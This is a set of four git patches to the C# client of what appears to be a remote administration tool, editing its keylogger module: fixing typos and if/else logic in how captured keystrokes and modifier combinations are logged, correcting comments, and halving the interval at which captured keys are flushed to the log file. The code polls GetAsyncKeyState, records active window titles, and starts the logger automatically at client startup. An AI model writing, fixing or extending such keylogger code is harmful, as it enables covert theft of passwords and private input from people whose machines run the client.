From ac33a51158ac2f445ada9f367ccfa3ee11bbefa1 Mon Sep 17 00:00:00 2001 From: yankejustin Date: Tue, 5 May 2015 20:45:36 -0400 Subject: [PATCH 1/4] Fixed two typos Fixed two typos in the Keylogger. --- Client/Core/Keylogger/Logger.cs | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 6ddd2c5e..9246aabf 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -11,7 +11,7 @@ namespace xClient.Core.Keylogger public class KeyData { public short Value { get; set; } - public bool ShitKey { get; set; } + public bool ShiftKey { get; set; } public bool CapsLock { get; set; } public bool ControlKey { get; set; } public bool AltKey { get; set; } @@ -157,7 +157,7 @@ public Logger(double flushInterval) this._logFileBuffer = new StringBuilder(); } - private string HighlightpecialKey(string name) + private string HighlightSpecialKey(string name) { return string.Format("[{0}]", name); } @@ -177,23 +177,23 @@ private void EmptyKeyBuffer() switch (k.Value) { case 8: - _logFileBuffer.Append(HighlightpecialKey("Back")); + _logFileBuffer.Append(HighlightSpecialKey("Back")); break; case 9: - _logFileBuffer.Append(HighlightpecialKey("Tab")); + _logFileBuffer.Append(HighlightSpecialKey("Tab")); break; case 13: - _logFileBuffer.Append(HighlightpecialKey("Enter")); + _logFileBuffer.Append(HighlightSpecialKey("Enter")); break; case 32: _logFileBuffer.Append(" "); break; case 46: - _logFileBuffer.Append(HighlightpecialKey("Del")); + _logFileBuffer.Append(HighlightSpecialKey("Del")); break; case 91: case 92: - _logFileBuffer.Append(HighlightpecialKey("Win")); + _logFileBuffer.Append(HighlightSpecialKey("Win")); break; case 112: case 113: @@ -206,30 +206,30 @@ private void EmptyKeyBuffer() case 120: case 121: case 122: - _logFileBuffer.Append(HighlightpecialKey("F" + (k.Value - 111))); + _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); break; default: if (_enumValues.Contains(k.Value)) { - if (k.AltKey && k.ControlKey && k.ShitKey) + if (k.AltKey && k.ControlKey && k.ShiftKey) { - _logFileBuffer.Append(HighlightpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock))); + _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } - if (k.AltKey && k.ControlKey && !k.ShitKey) + if (k.AltKey && k.ControlKey && !k.ShiftKey) { - _logFileBuffer.Append(HighlightpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock))); + _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } if (k.AltKey && !k.ControlKey) { - _logFileBuffer.Append(HighlightpecialKey("ALT-" + FromKeys(k.Value, k.ShitKey, k.CapsLock))); + _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } if (k.ControlKey && !k.AltKey) { - _logFileBuffer.Append(HighlightpecialKey("CTRL-" + FromKeys(k.Value, k.ShitKey, k.CapsLock))); + _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } else { - _logFileBuffer.Append(FromKeys(k.Value, k.ShitKey, k.CapsLock)); + _logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock)); } } break; @@ -247,7 +247,7 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs { if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress { - _keyBuffer.Add(new KeyData() {CapsLock = CapsLock, ShitKey = ShiftKey, ControlKey = ControlKey, AltKey = AltKey, Value = i}); + _keyBuffer.Add(new KeyData() {CapsLock = CapsLock, ShiftKey = ShiftKey, ControlKey = ControlKey, AltKey = AltKey, Value = i}); _hWndTitle = GetActiveWindowTitle(); //Get active thread window title if (_hWndTitle != null) { From 5756b05044cbe2575b367c8d77c2edb045820953 Mon Sep 17 00:00:00 2001 From: yankejustin Date: Tue, 5 May 2015 21:04:42 -0400 Subject: [PATCH 2/4] Fixed incorrect log by the Keylogger Added 'else' clauses instead of only 'if' statements. Decisions would be evaluated, but they would go under eachother. This means that pressing ctrl+shift+alt+a would write something like: '[SHIFT-CTRL-ALT-A]A' instead of '[SHIFT-CTRL-ALT-A]' . --- Client/Core/Keylogger/Logger.cs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 9246aabf..950f3ee4 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -215,15 +215,15 @@ private void EmptyKeyBuffer() { _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } - if (k.AltKey && k.ControlKey && !k.ShiftKey) + else if (k.AltKey && k.ControlKey && !k.ShiftKey) { _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } - if (k.AltKey && !k.ControlKey) + else if (k.AltKey && !k.ControlKey) { _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } - if (k.ControlKey && !k.AltKey) + else if (k.ControlKey && !k.AltKey) { _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); } From 90ee1a50cf79cbd273e783a52660f775951973ef Mon Sep 17 00:00:00 2001 From: yankejustin Date: Tue, 5 May 2015 21:05:46 -0400 Subject: [PATCH 3/4] Fixed some incorrect documentation in Keylogger Fixed some incorrect documentation in the Keylogger. --- Client/Core/Keylogger/Logger.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 950f3ee4..ce788685 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -69,7 +69,7 @@ private static bool ControlKey { get { - return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); //Returns true if shiftkey is pressed + return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); //Returns true if controlkey is pressed } } @@ -77,7 +77,7 @@ private static bool ControlKey { get { - return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); //Returns true if shiftkey is pressed + return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); //Returns true if altkey is pressed } } From 93a34dde9e7d71d3a2af1ba768786cf5afbd7ee7 Mon Sep 17 00:00:00 2001 From: yankejustin Date: Tue, 5 May 2015 21:58:29 -0400 Subject: [PATCH 4/4] Slight changes to the Logger Added a small amount of documentation for the Logger's constructor, and set the interval to flush the contents of the file to a lower amount (30 seconds was far too slow). --- Client/Core/Keylogger/Logger.cs | 4 ++++ Client/Program.cs | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index ce788685..932eff3e 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -101,6 +101,10 @@ private static bool CapsLock private readonly System.Timers.Timer _timerLogKeys; private readonly System.Timers.Timer _timerFlush; + /// + /// Creates the logging class that provides keylogging functionality. + /// + /// The interval, in milliseconds, to flush the contents of the keylogger to the file. public Logger(double flushInterval) { Instance = this; diff --git a/Client/Program.cs b/Client/Program.cs index 14c4406b..a82777ea 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -131,7 +131,7 @@ private static void Initialize() { new Thread(() => { - Logger logger = new Logger(30000) { Enabled = true }; + Logger logger = new Logger(15000) { Enabled = true }; }).Start(); } }